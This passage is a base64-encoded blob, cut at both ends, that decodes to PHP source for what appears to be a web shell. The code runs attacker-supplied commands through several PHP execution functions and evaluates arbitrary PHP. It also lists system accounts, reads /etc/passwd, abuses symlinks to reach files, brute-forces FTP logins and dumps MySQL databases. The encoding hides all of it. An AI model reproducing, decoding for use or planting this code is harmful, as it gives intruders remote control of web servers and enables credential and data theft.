CAgIH0gZWxzZSB7DQokc3ltcD0kX1BPU1RbJ3N5bTFwJ107DQogICAgICAgICB9DQogICAgIGlmKGVtcHR
5KCRfUE9TVFsnc3ltMXAyJ10pKXsNCg0KfSBlbHNlIHsNCiRzeW1wMj0kX1BPU1RbJ3N5bTFwMiddOw0KD QogIHN5bWxpbmsoImEvYS9hL2EvYS9hLyIsICJkdW1teSIpOw0Kc3ltbGluaygiZHVtbXkiLiRzeW1wMi4 iIi4kc3ltcC4iIiwgInh4eCIpOw0KdW5saW5rKCJkdW1teSIpOw0Kd2hpbGUgKDEpIHsNCnN5bWxpbmsoI i4iLCAiZHVtbXkiKTsNCg0KICB9DQogfQ0KICBicmVhazsNCiAgY2FzZSAnc3ltMic6DQogIEBpbmNsdWR lKHh4eCk7DQogIGJyZWFrOw0KDQogIGNhc2UgJ3BsdWdpbic6DQogIGlmICgkX1BPU1RbJ3BsdWdpbiddI Cl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkdWlkPTA 7JHVpZDw2MDAwMDskdWlkKyspeyAgIC8vY2F0IC9ldGMvcGFzc3dkDQogICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGt leSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogICAgICAgICA gICAgfQ0KICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY29tbWFuZCc6DQogICAgICAgICAgaWYgK CFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkpIHsNCg0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0 ic3lzdGVtIikgew0KICAgICAgICAgICAgICAgIHN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgI CAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHN5c3RlbSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICA gICAgICAgICAgIGlmICgkbWV0aG9kPT0icGFzc3RocnUiKSB7DQogICAgICAgICAgICAgICAgcGFzc3Roc nUoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwYXNzdGh ydSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0iZXhlYyIpI HsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBleGVjKCRfUE9TVFsnY29tbWFuZCddKTs NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiAgICAgICAgICAgICAgICAgICAgI CAgIGVjaG8gIkZ1bmN0aW9ucyBleGVjIjsNCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICA gICBpZiAoJG1ldGhvZD09InNoZWxsX2V4ZWMiKSB7DQogICAgICAgICAgICAgICAgJHN0cmluZyA9IHNoZ WxsX2V4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsNCiA gICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgc2hlbGxfZXhlYyI7DQogICAgICAgICAgICAg ICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icG9wZW4iKSB7DQogICAgICAgICAgICAgIC AgJHBwID0gcG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQogICAgICAgICAgICAgICAgJHJlYWQg PSBmcmVhZCgkcHAsIDIwOTYpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlYWQ7DQogICAgICAgICAgIC AgICAgcGNsb3NlKCRwcCk7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHBvcGVuIjsNCiAg ICAgICAgICAgICAgICAgIH0NCg0KCSAgaWYgKCRtZXRob2Q9PSJwcm9jX29wZW4iKSB7DQoNCg0KJGNvbW 1hbmQgID0gaXNzZXQoJF9QT1NUWydjb21tYW5kJ10pICA/ICRfUE9TVFsnY29tbWFuZCddICA6ICcnOw0K DQoNCg0KLyogTG9hZCB0aGUgY29uZmlndXJhdGlvbi4gKi8NCg0KLyogRGVmYXVsdCBzZXR0aW5ncyAtLS 0gdGhlc2Ugc2V0dGluZ3Mgc2hvdWxkIGFsd2F5cyBiZSBzZXQgdG8gc29tZXRoaW5nLiAqLw0KDQovKiBN ZXJnZSBzZXR0aW5ncy4gKi8NCg0Kc2Vzc2lvbl9zdGFydCgpOw0KDQoNCg0KICAgIGlmICghZW1wdHkoJG NvbW1hbmQpKSB7DQogICAgICAgIC8qIFNhdmUgdGhlIGNvbW1hbmQgZm9yIGxhdGUgdXNlIGluIHRoZSBK YXZhU2NyaXB0LiAgSWYgdGhlIGNvbW1hbmQgaXMNCiAgICAgICAgICogYWxyZWFkeSBpbiB0aGUgaGlzdG 9yeSwgdGhlbiB0aGUgb2xkIGVudHJ5IGlzIHJlbW92ZWQgYmVmb3JlIHRoZQ0KICAgICAgICAgKiBuZXcg ZW50cnkgaXMgcHV0IGludG8gdGhlIGxpc3QgYXQgdGhlIGZyb250LiAqLw0KICAgICAgICBpZiAoKCRpID 0gYXJyYXlfc2VhcmNoKCRfUE9TVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBm YWxzZSkNCiAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSddWyRpXSk7DQoNCiAgICAgIC AgYXJyYXlfdW5zaGlmdCgkX1NFU1NJT05bJ2hpc3RvcnknXSwgJF9QT1NUWydjb21tYW5kJ10pOw0KDQog ICAgICAgIC8qIE5vdyBhcHBlbmQgdGhlIGNvbW1tYW5kIHRvIHRoZSBvdXRwdXQuICovDQogICAgICAgIC RfU0VTU0lPTlsnb3V0cHV0J10gLj0gJyQgJyAuICRfUE9TVFsnY29tbWFuZCddIC4gIlxuIjsNCg0KICAg ICAgICAvKiBJbml0aWFsaXplIHRoZSBjdXJyZW50IHdvcmtpbmcgZGlyZWN0b3J5LiAqLw0KICAgICAgIC BpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0qJCcsICRfUE9TVFsnY29tbWFuZCddKSkg ew0KICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IHJlYWxwYXRoKCRpbmlbJ3NldHRpbmdzJ11bJ2 hvbWUtZGlyZWN0b3J5J10pOw0KICAgICAgICB9IGVsc2VpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6 Ymxhbms6XV0rKFteO10rKSQnLCAkX1BPU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKSB7DQogICAgICAgICAgIC AvKiBUaGUgY3VycmVudCBjb21tYW5kIGlzIGEgJ2NkJyBjb21tYW5kIHdoaWNoIHdlIGhhdmUgdG8gaGFu ZGxlDQogICAgICAgICAgICAgKiBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLiAqLw0KDQogICAgIC AgICAgICBpZiAoJHJlZ3NbMV17MH0gPT0gJy8nKSB7DQogICAgICAgICAgICAgICAgLyogQWJzb2x1dGUg cGF0aCwgd2UgdXNlIGl0IHVuY2hhbmdlZC4gKi8NCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRyZW dzWzFdOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAvKiBSZWxhdGl2ZSBwYXRo LCB3ZSBhcHBlbmQgaXQgdG8gdGhlIGN1cnJlbnQgd29ya2luZw0KICAgICAgICAgICAgICAgICAqIGRpcm
VjdG9yeS4gKi8NCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycg LiAkcmVnc1sxXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLyogVHJhbnNmb3JtICcvLi8nIG ludG8gJy8nICovDQogICAgICAgICAgICB3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZh bHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld1 9kaXIpOw0KDQogICAgICAgICAgICAvKiBUcmFuc2Zvcm0gJy8vJyBpbnRvICcvJyAqLw0KICAgICAgICAg ICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgIC RuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbmV3X2Rpcik7DQoNCiAgICAgICAgICAgIC8q IFRyYW5zZm9ybSAneC8uLicgaW50byAnJyAqLw0KICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goJ3 wvXC5cLig/IVwuKXwnLCAkbmV3X2RpcikpDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBwcmVnX3Jl cGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgaW YgKCRuZXdfZGlyID09ICcnKSAkbmV3X2RpciA9ICcvJzsNCg0KICAgICAgICAgICAgLyogVHJ5IHRvIGNo YW5nZSBkaXJlY3RvcnkuICovDQogICAgICAgICAgICBpZiAoQGNoZGlyKCRuZXdfZGlyKSkgew0KICAgIC AgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpcjsNCiAgICAgICAgICAgIH0gZWxzZSB7 DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAiY2Q6IGNvdWxkIG5vdCBjaGFuZ2 UgdG86ICRuZXdfZGlyXG4iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0gZWxzZWlmICh0cmltKCRf UE9TVFsnY29tbWFuZCddKSA9PSAnZXhpdCcpIHsNCiAgICAgICAgICAgIGxvZ291dCgpOw0KICAgICAgIC B9IGVsc2Ugew0KDQogICAgICAgICAgICAvKiBUaGUgY29tbWFuZCBpcyBub3QgYW4gaW50ZXJuYWwgY29t bWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcg0KICAgICAgICAgICAgICogY2hhbmdpbmcgdGhlIGRpcm VjdG9yeSBhbmQgc2F2ZSB0aGUgb3V0cHV0LiAqLw0KICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydj d2QnXSk7DQoNCiAgICAgICAgICAgIC8vIFdlIGNhbm90IHVzZSBwdXRlbnYoKSBpbiBzYWZlIG1vZGUuDQ ogICAgICAgICAgICBpZiAoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSB7DQogICAgICAgICAgICAgICAgLy8g QWR2aWNlIHByb2dyYW1zIChscyBmb3IgZXhhbXBsZSkgb2YgdGhlIHRlcm1pbmFsIHNpemUuDQogICAgIC AgICAgICAgICAgcHV0ZW52KCdST1dTPScgLiAkcm93cyk7DQogICAgICAgICAgICAgICAgcHV0ZW52KCdD T0xVTU5TPScgLiAkY29sdW1ucyk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8qIEFsaWFzIG V4cGFuc2lvbi4gKi8NCiAgICAgICAgICAgICRsZW5ndGggPSBzdHJjc3BuKCRfUE9TVFsnY29tbWFuZCdd LCAiIFx0Iik7DQogICAgICAgICAgICAkdG9rZW4gPSBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sIDAsIC RsZW5ndGgpOw0KICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dKSkNCiAg ICAgICAgICAgICAgICAkY29tbWFuZCA9ICRpbmlbJ2FsaWFzZXMnXVskdG9rZW5dIC4gc3Vic3RyKCRfUE 9TVFsnY29tbWFuZCddLCAkbGVuZ3RoKTsNCg0KICAgICAgICAgICAgJGlvID0gYXJyYXkoKTsNCiAgICAg ICAgICAgICRwID0gcHJvY19vcGVuKCRfUE9TVFsnY29tbWFuZCddLA0KICAgICAgICAgICAgICAgICAgIC AgICAgICAgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksDQogICAgICAgICAgICAgICAgICAgICAgIC AgICAkaW8pOw0KDQogICAgICAgICAgICAvKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8NCiAg ICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMV0pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWy dvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksDQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVOVF9DT01QQVQsICdVVEYtOCcpOw 0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICov DQogICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzJdKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0 lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLT gnKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZmNsb3NlKCRpb1sxXSk7DQogICAgICAgICAg ICBmY2xvc2UoJGlvWzJdKTsNCiAgICAgICAgICAgIHByb2NfY2xvc2UoJHApOw0KICAgICAgICB9DQogIC AgfQ0KDQogICAgLyogQnVpbGQgdGhlIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2Ny aXB0ICovDQogICAgaWYgKGVtcHR5KCRfU0VTU0lPTlsnaGlzdG9yeSddKSkgew0KICAgICAgICAkanNfY2 9tbWFuZF9oaXN0ID0gJyIiJzsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZXNjYXBlZCA9IGFycmF5X21h cCgnYWRkc2xhc2hlcycsICRfU0VTU0lPTlsnaGlzdG9yeSddKTsNCiAgICAgICAgJGpzX2NvbW1hbmRfaG lzdCA9ICciIiwgIicgLiBpbXBsb2RlKCciLCAiJywgJGVzY2FwZWQpIC4gJyInOw0KICAgIH0NCiAgICAg ICAgICAgICAgIH0NCiAgICAgICAgICAgICAJCX0NCg0KDQoJCWJyZWFrOw0KICAgfQ0KfQ0KDQoNCg0KDQ oNCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogZm9yZWFjaCgk dXNlcnMgYXMgJHVzZXIpDQogIHsNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZX IsJGZ0cF9wb3J0LDEwKTsNCiAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHsg ZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgZWxzZSBpZihpc3 NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJy ZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbi I7ICRzdWMrKzsgfSB9DQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogZWNobyAiXHJcbi0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkY291bnQgPSBjb3VudCgkdX NlcnMpOw0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8g JGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndW
FnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhwX2V2YWwi KXsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7DQogJGV2YW wgPSBAc3RyX3JlcGxhY2UoIj8+IiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCg0KaWYgKCRfUE9T VFsnY21kJ109PSJteXNxbF9kdW1wIikNCiB7DQogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcC A9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0NCiAgJHNxbCA9IG5ldyBteV9zcWwoKTsN CiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2Vydm VyJ107DQogICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAgJHNxbC0+dXNlciA9ICRfUE9T VFsnbXlzcWxfbCddOw0KICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107DQogICRzcWwtPmJhc2 UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogIGlmKCEkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWy1dIEVS Uk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiOyB9DQogIGVsc2UgaWYoISRzcWwtPnNlbGVjdF 9kYigpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgfQ0KICBlbHNlIGlm KCEkc3FsLT5kdW1wKCRfUE9TVFsnbXlzcWxfdGJsJ10pKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY3 JlYXRlIGR1bXAiOyB9DQogIGVsc2Ugew0KICAgaWYoZW1wdHkoJF9QT1NUWydkaWYnXSkpIHsgZm9yZWFj aCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjsgfQ0KICAgZWxzZSBpZigkZnApeyBmb3JlYW NoKCRzcWwtPmR1bXAgYXMgJHYpIEBmcHV0cygkZnAsJHYuIlxyXG4iKTsgfQ0KICAgZWxzZSB7IGVjaG8g IlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQ0KICAgfQ0KIH0NCmVjaG8gIjwvdG V4dGFyZWE+PC9kaXY+IjsNCmVjaG8gIjwvYj4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmVj aG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD4iOw0KZnVuY3Rpb2 4gZGl2X3RpdGxlKCR0aXRsZSwgJGlkKQ0Kew0KICByZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6IHBvaW50 ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUuJzwvYT4nOw0KfQ 0KZnVuY3Rpb24gZGl2KCRpZCkNCiB7DQogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgJF9DT09LSUVb JGlkXT09MCkgcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7DQ ogcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIj4nOw0KIH0NCg0KDQppZighJHNhZmVfbW9kZSl7DQplY2hv ICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdG FibGVfdXAyLmRpdignaWQxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdjbWQnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj 4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUs JGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS k7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplbHNlew0KZWNobyAkZnMuJHRh YmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cD IuZGl2KCdpZDInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10u JGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2 FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2 J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV 91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDgnXSwnaWQxNScpLiR0YWJsZV9 1cDIuZGl2KCdpZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0M TYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9XCJtZXRob2RcIj4NCiAgICAgICAgICAgICAgICA gICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3lzdGVtXCIgPD8gaWYgKCRtZXRob2Q9PVwic3lzdGVtX CIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5zeXN0ZW08L29wdGlvbj4NCiAgICAgICAgICAgICAgICA gICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicGFzc3RocnVcIiA8PyBpZiAoJG1ldGhvZD09XCJwYXNzd GhydVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cGFzc3RocnU8L29wdGlvbj4NCiAgICAgICAgICA gICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwiZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cImV4Z WNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PmV4ZWM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICA gICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hlbGxfZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cInNoZ WxsX2V4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnNoZWxsX2V4ZWM8L29wdGlvbj4NCiAgICA gICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicG9wZW5cIiA8PyBpZiAoJG1ldGhvZ D09XCJwb3BlblwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cG9wZW48L29wdGlvbj4NCiAgICAgICA gICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwicHJvY19vcGVuXCIgPD8gaWYgKCRtZXRob 2Q9PVwicHJvY19vcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wcm9jX29wZW48L29wdGlvbj4 NCiAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud 3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0Jyw nY29tbWFuZCcsNTQsKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSk/KCRfUE9TVFsnY29tbWFuZCddKTooI mlkIikpKS5pbignaGlkZGVuJywnY21kJywwLCdjb21tYW5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1 pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZ W5kMS4kZmU7DQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3R leHQyMjMnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJ GxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPVwibWV0aG9 kXCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImZpbGVcIiA8PyBpZ
iAoJG1ldGhvZD09XCJmaWxlXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gZmlsZTwvb3B0aW9uPg0 KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJmcmVhZFwiIDw/IGlmICgkb WV0aG9kPT1cImZyZWFkXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gZnJlYWQ8L29wdGlvbj4NCiA gICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hvd19zb3VyY2VcIiA8PyBpZ iAoJG1ldGhvZD09XCJzaG93X3NvdXJjZVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+IHNob3dfc29 1cmNlPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInJlY WRmaWxlXCIgPD8gaWYgKCRtZXRob2Q9PVwicmVhZGZpbGVcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA /PiByZWFkZmlsZTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZ GRlbicsJ2ZpbGUnLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiR hcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmaWxlJyw0MSwnL2V0Yy9wYXNzd2QnKS53cyg0KS5pbignc3Vib Wl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4 nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5nd WFnZS4nX3RleHQ0MiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSw iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uY W1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGl yJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0d DExJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmx lX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMCddLCdpZDMnKS4kdGFibGVfdXAyL mRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAyJ10 uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NubicsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2hpZGRlbicsJ 2NtZCcsMCwnY29weScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N 